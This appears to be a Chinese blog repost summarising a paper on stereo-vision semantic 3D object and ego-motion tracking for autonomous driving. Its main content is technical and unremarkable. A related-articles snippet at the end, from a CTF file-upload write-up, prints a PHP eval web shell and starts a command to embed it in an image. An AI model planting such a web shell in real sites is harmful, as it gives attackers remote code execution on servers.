用于自动驾驶的基于立体视觉的语义 3D 对象和自我运动跟踪

news2024/12/24 20:03:34

Stereo Vision-based Semantic 3D Object and Ego-motion Tracking for Autonomous Driving

论文

摘要: 我们提出了一种基于立体视觉的方法,用于在动态自动驾驶场景中跟踪相机自我运动和 3D 语义对象。我们建议使用易于标记的 2D 检测离散视点分类以及轻量级语义推理方法来获得粗略的 3D 对象测量,而不是使用端到端方法直接回归 3D 边界框。基于在动态环境中具有鲁棒性的对象感知辅助相机姿态跟踪,结合我们新颖的动态对象束调整(BA)方法来融合时间稀疏特征关联语义3D测量模型,我们获得了3D对象姿态,具有实例精度和时间一致性的速度和锚定动态点云估计。我们提出的方法的性能在不同的场景中得到了证明。自我运动估计和对象定位都与最先进的解决方案进行了比较。

引言:

在这里插入图片描述
主要贡献:

  • 一种仅使用 2D 对象检测和所提出的视点分类的轻量级 3D 框推理方法,为对象特征提取提供对象重投影轮廓和遮挡掩模。也作为后续优化的语义度量模型。
  • 一种新颖的动态对象束调整方法,它将语义和特征测量紧密结合起来,以持续跟踪具有实例准确性和时间一致性的对象状态。

方法
语义跟踪系统主要由三个模块组成
1)执行 2D 对象检测和视点分类,利用这两个输出并借助2D检测框的边与3D检测框上的点之间的约束粗略的推断物体的位姿。
2)特征提取和匹配。它将所有推断的 3D 框投影到 2D 图像,以获得对象轮廓和遮挡蒙版。然后应用引导特征匹配来获得立体图像和时间图像的鲁棒特征关联。
3)所有的语义测量和特征测量被紧耦合到一个优化方法中,用于相机和物体位姿的求解。
在这里插入图片描述
视点分类和 3D 框推理
视点分类:使用Fast-RCNN机型2d物体检测,在最后的FC层添加子类别分类,而不是原始视线中的纯对象分类,它表示对象水平和垂直离散视点。
对于水平和垂直观测点的解释:其实就是16个类别的区分过程,作者认为水平方向连续的8个观测位置和垂直方向的两个位置的16种组合足以包括目标在相机中的状态。
在这里插入图片描述
通过水平和垂直视点分类的总共16种组合,可以基于3D边界框的重投影将紧密贴合2D边界框的假设,生成2D框中的边缘与3D框中的顶点之间的关联。

基于视点的3D box推理:给定了归一化平面上的2D检测框 [umin, vmin, umax, vmax]和观测点,基于2D 框边缘和 3D 框顶点之间的四个约束来推断物体姿态。物体的3D检测框中心点位置 p = [ p x , p y , p z ] T p = [p_x, p_y, p_z]^T p=[px,py,pz]T,物体相对于相机的水平方向 θ,物体的先验尺寸 d = [ d x , d y , d z ] T d = [d_x, d_y, d_z]^T d=[dx,dy,dz]T。其中,前两个变量 p, θ 用于表示物体的4自由度位姿。为了推断物体的3D检测框或者说物体的位姿,我们可以在图2(b)中得到4个约束关系,即3D检测框的四个点被投影到2D检测框边界上
在这里插入图片描述
π是从相机坐标系到归一化平面的投影矩阵, R θ R_θ Rθ表示从物体坐标系转化到相机坐标系,由θ参数化的旋转。
在这里插入图片描述
C1:4表示对角选择矩阵描述3D检测框中心点和与2D检测框边界相交的4个点①②③④之间的位置关系。当全卷积层输出了观测点,我们也就得到了对应的C1:4。例如上面给出的C1:4即为图2(b)中观测点下对应的选择矩阵。公式(1)中,第一个解释为以中心点为起点,向xyz三个方向的正方向各增加对应维度先验尺寸的一半得到点①,第二个解释为以中心点为起点,向x, z的反方向增加先验尺寸dx, dz的一半,向y的正方向增加先验尺寸dy的一半得到点②,这其中包含着由Rθ决定的从物体坐标系向相机坐标系的转换,再将点①②从相机坐标系转化到归一化平面正好和2D检测框边界相交,其余两个同理。这样,我们就得到了公式(1),用这四个等式就可以求解物体的4自由度位姿,同时也得到了3D检测框。

通过这四个方程,可以在给定先验尺寸的情况下直观地求解 4 DoF 物体位姿。我们将复杂的 3D 对象检测问题转换为 2D 检测、视点分类和简单的封闭式计算。诚然,解决的姿势是一个近似估计,它以 2D 边界框的实例“紧密度”和先验的对象尺寸为条件。另外,对于某些顶视图情况,3D 框的重投影并不严格适合 2D 框,这可以从图 3(b)中的顶部边缘观察到。然而,对于自动驾驶场景中几乎水平或轻微俯视的视点,这个假设可以合理地成立。请注意,我们的实例姿态推断仅用于生成用于特征提取的对象投影轮廓和遮挡掩模,并作为后续最大后验(MAP)估计的初始值,其中 3D 对象轨迹将通过基于滑动窗口的特征相关性和对象点云对齐来进一步优化。

特征提取和匹配:
我们将推断的 3D 对象框投影到立体图像以生成有效的 2D 轮廓。如图 2 (b) 所示,使用不同颜色的蒙版来表示每个对象的可见部分(灰色为背景)。对于遮挡对象,我们根据对象 2D 重叠和 3D 深度关系将被遮挡部分屏蔽为不可见。因此,对于具有少于四个有效边缘测量值的截断对象,无法通过第 4.2 节中的方法进行推断。我们直接将左图中检测到的2D框投影到右图中。我们为每个对象和背景的可见区域中的左图像和右图像提取 ORB 特征。立体匹配是通过极线搜索来执行的。物体特征的深度范围是从推断的物体姿态中得知的,因此我们将搜索区域限制在一个小范围内以实现鲁棒的特征匹配。对于时间匹配,我们首先通过 2D 框相似性得分投票来关联连续帧的对象。相似度得分是通过补偿相机旋转后连续图像之间的 2D 框的中心距离和形状相似度来加权的。
如果该对象与前一帧中所有对象的最大相似度得分小于阈值,则该对象被视为丢失。我们注意到,有更复杂的关联方案,例如概率数据关联,但它更适合避免重新访问静态对象场景时的硬决策,而不是自动驾驶的高度动态和非重复场景。随后,我们将相关对象和背景的 ORB 特征与前一帧进行匹配。 RANSAC 通过对每个对象和背景独立进行局部基本矩阵测试来拒绝异常值。

自我运动和物体跟踪: 具体详细部分可参考原文
在这里插入图片描述
在一个通常的自动驾驶场景中,我们的目标有三个:
(1) 连续估计相机的运动
(2) 连续追踪3D物体的位置
(3) 恢复动态稀疏特征点的3D位置
在这里,k表示物体序号,k=0表示背景;n表示第k个物体上的特征点序号;t表示时间或者帧的序号。
首先针对目标(1),利用背景特征点的重投影误差来构建优化的最小二乘。由于没有先验信息可以利用,我们直接计算目标函数的最大似然,并假设观测模型服从高斯分布,将最大似然问题转化为马氏距离的BA问题。在这里,我们要求解的是相机的位姿和背景特征点的位置。

自我运动追踪:给定静态背景特征观察,自我运动可以通过最大似然估计(MLE)来解决:
在这里插入图片描述语义对象跟踪:在我们求解出相机位姿之后,可以根据先验维度和实例语义测量来求解每个时间 t 的对象状态。我们假设该对象是一个刚体,这意味着锚定到它的特征相对于对象框架是固定的。因此,如果我们有连续的对象特征观察,则对象的时间状态是相关的。给定相机姿态,不同对象的状态是有条件独立的,因此我们可以并行且独立地跟踪所有对象。对于第 k 个对象,我们有每个类标签的维度先验分布 p(dk)。我们假设每个对象每次的检测结果和特征测量都是独立的并且呈高斯分布。根据贝叶斯规则,我们有以下最大后验(MAP)估计:
在这里插入图片描述
类似于等式3,我们将MAP转化为非线性优化问题:
在这里插入图片描述
稀疏特征观察:我们将静态特征和相机姿态之间的射影几何扩展到动态特征和物体姿态。基于相对于对象框架的锚定相对静态特征,共享特征观察的对象姿势可以通过因子图连接。对于每个特征观测,残差可以由预测特征位置和左右图像上的实际特征观测的重投影误差来表示:
在这里插入图片描述
语义 3D 对象测量:受益于视点分类,我们可以知道 2D 边界框的边和 3D 边界框的顶点之间的关系。假设 2D 边界框紧密贴合到对象边界,则每条边都与重新投影的 3D 顶点相交。这些关系可以被确定为每个 2D 边缘的四个选择矩阵。语义残差可以通过预测的 3D 框顶点与检测到的 2D 框边缘的重投影误差来表示:
在这里插入图片描述
车辆运动模型:过该运动模型能够从t-1时刻车的状态推断k时刻车的状态,还能连续追踪车的速度和方向。该项误差定义为通过运动模型预测的t时刻状态减去估计的t时刻状态:在这里插入图片描述

点云对齐在最小化所有残差后,我们根据先验维度获得物体位姿的MAP估计。然而,由于物体大小差异,姿势估计可能会出现偏差(见图 5)。因此,我们将 3D 框与恢复的点云对齐,由于精确的立体外部校准,这是无偏差的。我们最小化所有 3D 点与其锚定 3D 框表面的距离:
在这里插入图片描述
在这里插入图片描述

实验

在这里插入图片描述
长轨迹的连续跟踪结果。 (a) 显示了大约 700 m 的闭环轨迹,包括静态汽车和动态汽车。右上和右下分别是放大的开始视图和结束视图。蓝色圆圈内的汽车被跟踪超过200米,其轨迹可以在左上视图中找到。 (b) 显示了一个主要包含动态和截断汽车的场景。估计的轨迹、速度和重新投影的二维图像分别显示在左侧和右侧。请注意,LiDAR 点云仅供所有俯视图中参考。后续的非线性优化是与数据无关的。因此,我们的系统能够在不同的数据集上执行一致的结果。定量评估表明,我们的语义 3D 对象和自我运动跟踪系统比孤立的最先进解决方案具有更好的性能。
在这里插入图片描述
不同场景的定性示例。从左到右:车辆集中。包括汽车和行人的十字路口(请注意,我们不解决行人的方向问题),动态汽车。顶部两行是 KITTI 数据集上的结果,底部两行显示 Cityscapes 数据集上的结果。
在这里插入图片描述
(a) RPE比较。左、右分别是来自 KITTI 原始数据集的 0929 0004 和 1003 0047 序列的结果。 (b) 十个长 KITTI 原始序列的 ATE 比较的 RMSE。

鸟瞰图和 3D 框比较的平均精度。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1969903.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【SQL Server】网络通信基础

目录 网络通信基础 网络协议概述 TCP/IP 协议栈 端口和地址绑定 网络通信基础 网络协议概述 网络协议是一组规则和标准,定义了数据在网络中的传输方式。这些协议确保不同设备之间的通信顺畅且高效。网络协议分为多个层次,每个层次负责特定的任务。…

直播狂欢下的隐忧|专题报告集

原文链接:https://tecdat.cn/?p37200 从草根逆袭的烤摊主郭有才,仅用9天便突破千万粉丝,日入惊人的380万,到菏泽因直播热潮连夜紧急修路,这一切看似光鲜的背后,实则暗流涌动。 模仿“反诈老陈”、“保安…

Yearning-MYSQL 审计平台部署

目录 一. 环境准备 二. 部署安装 三. 基础使用 1.用户管理 2. 创建SQL审计流程 3. 自定义审核规则 4. 导入数据源 5. 创建权限组 6. 登录用户申请工单 1. 创建一个DDL工单提交 2. SQL审核执行 3. SQL执行 4. 数据验证 Yearning 是一个开源的 MySQL SQL 审计平台…

CTFHUB-文件上传-文件头检查

开启题目 1.php内容&#xff1a; <?php eval($_POST[cmd]);?> 截屏截一个很小很小的图片&#xff0c;保存为 png 格式&#xff0c;把 1.png 和 1.php 放在同一文件夹&#xff0c;在此目录打开 cmd&#xff0c; 使用以下命令把 1.png 和 1.php 合成为图片马 copy 1.pn…

内存池化技术详解:提升C++程序性能的关键

目录 一. 引言 内存池化技术的概念与重要性 内存池化在现代C开发中的应用 二. 内存池化的基本原理 内存池化的工作机制 常见的内存池实现策略 三. 最新的内存池化技术 C23标准中的新特性 第三方库的最新进展 jemalloc和tcmalloc的使用和改进 四. 内存池化在多线程环…

ThreadLocal:线程本地变量的作用与应用

ThreadLocal&#xff1a;线程本地变量的作用与应用 1、简介2、作用3、应用场景4、注意事项 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 1、简介 ThreadLocal 是Java中一个强大的工具类&#xff0c;用于创建线程局部变量。它为每个使用该…

Python教程(十):面向对象编程(OOP)

目录 专栏列表前言一、面向对象编程概述1.1 类和对象1.2 继承1.3 多态1.4 封装 二、Python 中的类和对象2.1 定义类2.2 __init__ 函数解释2.3 创建对象 三、继承3.1 基本继承3.2 创建子类对象 四、多态五、封装六. 访问限制七、综合实例结语 专栏列表 Python教程&#xff08;一…

MySQL~SQL语法

SQL&#xff08;Structured Query Language&#xff0c;结构化查询语言&#xff09;是用于管理和操作关系数据库管理系统&#xff08;RDBMS&#xff09;的标准化语言。 SQL 在标识符&#xff08;如表名、列名、函数名等&#xff09;的处理上通常是不区分大小写的&#xff0c;这…

如何手写一个SpringBoot框架

你好&#xff0c;我是柳岸花开。 在这篇文章中&#xff0c;我们将手写模拟SpringBoot的核心流程&#xff0c;让大家能够以一种简单的方式了解SpringBoot的大概工作原理。 项目结构 我们创建一个工程&#xff0c;包含两个模块&#xff1a; springboot模块&#xff0c;表示Spring…

Redis 有关列表的命令

List 也叫列表&#xff0c;一般用来操作和存储一组有顺序的数据&#xff1b; 索引与数组类似&#xff0c;从 0 开始&#xff1b; 1. 从列表头部添加 LPUSH 2. 获取列表内容 LRANGE LRANGE 键名称 起始位置 结束位置 注意&#xff1a; LPUSH 命令将添加的元素依次添加到列…

IEEE1801 UPF 编写指南-1.MSV设计

多电源电压&#xff08;MSV&#xff09;设计为核心技术使用多个电源电压&#xff0c;如图1-1“MSV设计示例”所示。顶层设计和实例inst_A在电压VDD1下操作&#xff0c;而实例inst_B在电压VDD2下操作&#xff0c;实例inst_C在电压VDD3下操作。 在相同操作电压下运行&#xff08;…

Chapter 23 数据可视化——地图

欢迎大家订阅【Python从入门到精通】专栏&#xff0c;一起探索Python的无限可能&#xff01; 文章目录 前言一、基础绘图二、视觉映射三、案例分析 前言 随着地理信息系统&#xff08;GIS&#xff09;技术的迅猛发展和大数据时代的到来&#xff0c;数据可视化已经成为分析和理…

供应链下生产计划有什么新要求?详解供应链下生产计划编制步骤!

在当今全球化和市场快速变化的商业环境中&#xff0c;供应链管理下的生产计划比以往任何时候都更为关键。企业不仅要应对需求的波动和供应的不确定性&#xff0c;还要在激烈的市场竞争中保持敏捷和效率。有效的生产计划已成为制造业乃至整个供应链成功的核心。本文将深入探讨供…

一款.NET开源、跨平台的DASH/HLS/MSS下载工具

前言 今天大姚给大家分享一款.NET开源&#xff08;MIT License&#xff09;、免费、跨平台的DASH/HLS/MSS下载工具&#xff0c;并且支持点播和直播&#xff08;DASH/HLS&#xff09;的内容下载&#xff1a;N_m3u8DL-RE。 网络流媒体传输协议介绍 DASH DASH是一种基于HTTP的…

更改ubuntu的主屏幕

一、【问题描述】 如果有多个屏幕连接到ubuntu&#xff0c;Ubuntu的这个上面的通知栏如果不在我们希望的位置&#xff0c;会让人很不舒服&#xff0c;这个是根据主屏幕位置显示的&#xff0c;这个文章水一下如何改这个 二、【解决方法】 总之就是两个命令&#xff0c;先查再改…

3.Java面试题之AQS

1. 写在前面 AQS&#xff08;AbstractQueuedSynchronizer&#xff09;是Java并发包&#xff08;java.util.concurrent&#xff09;中的一个抽象类&#xff0c;用于实现同步器&#xff08;如锁、信号量、栅栏等&#xff09;。AQS提供了一种基于FIFO队列的机制来管理线程的竞争和…

condapytorch环境搭建笔记

1. 安装conda 官网安装地址&#xff1a;https://docs.anaconda.com/anaconda/install/linux/ 下载Installer curl -O https://repo.anaconda.com/archive/Anaconda3-2024.06-1-Linux-x86_64.sh注&#xff1a;可以到这里查看和选择适合的版本&#xff1a;https://repo.anacon…

实验2-4-6 求交错序列前N项和

//实验2-4-6 求交错序列前N项和//本题要求编写程序&#xff0c;计算交错序列 1-2/33/5-4/75/9-6/11... 的前N项之和。 #include<stdio.h> #include<math.h> int main(){int n;scanf("%d",&n);//输入在一行中给出一个正整数N。double sum0;for(int i1…

SpringCloud Alibaba 微服务(三):OpenFeign

目录 前言 一、什么是OpenFeign&#xff1f; Feign 的实现 Feign 和 OpenFeign 的区别 二、OpenFeign的优点 三、基本用法 新建子工程 配置文件 服务注册 ​编辑 新建Controller 引入依赖 创建接口 启动类开启Feign注解 访问测试 四、FeignClient 标签的常用属性…

solidity抽象(abstract)合约(很常用)

当合约中至少有一个函数没有被实现&#xff0c; 或者合约没有为其所有的基本合约构造函数提供参数时&#xff0c; 合约必须被标记为 abstract。 即使不是这种情况&#xff0c;合约仍然可以被标记为 abstract&#xff0c; 例如&#xff0c;当您不打算直接创建合约时。 抽象&a…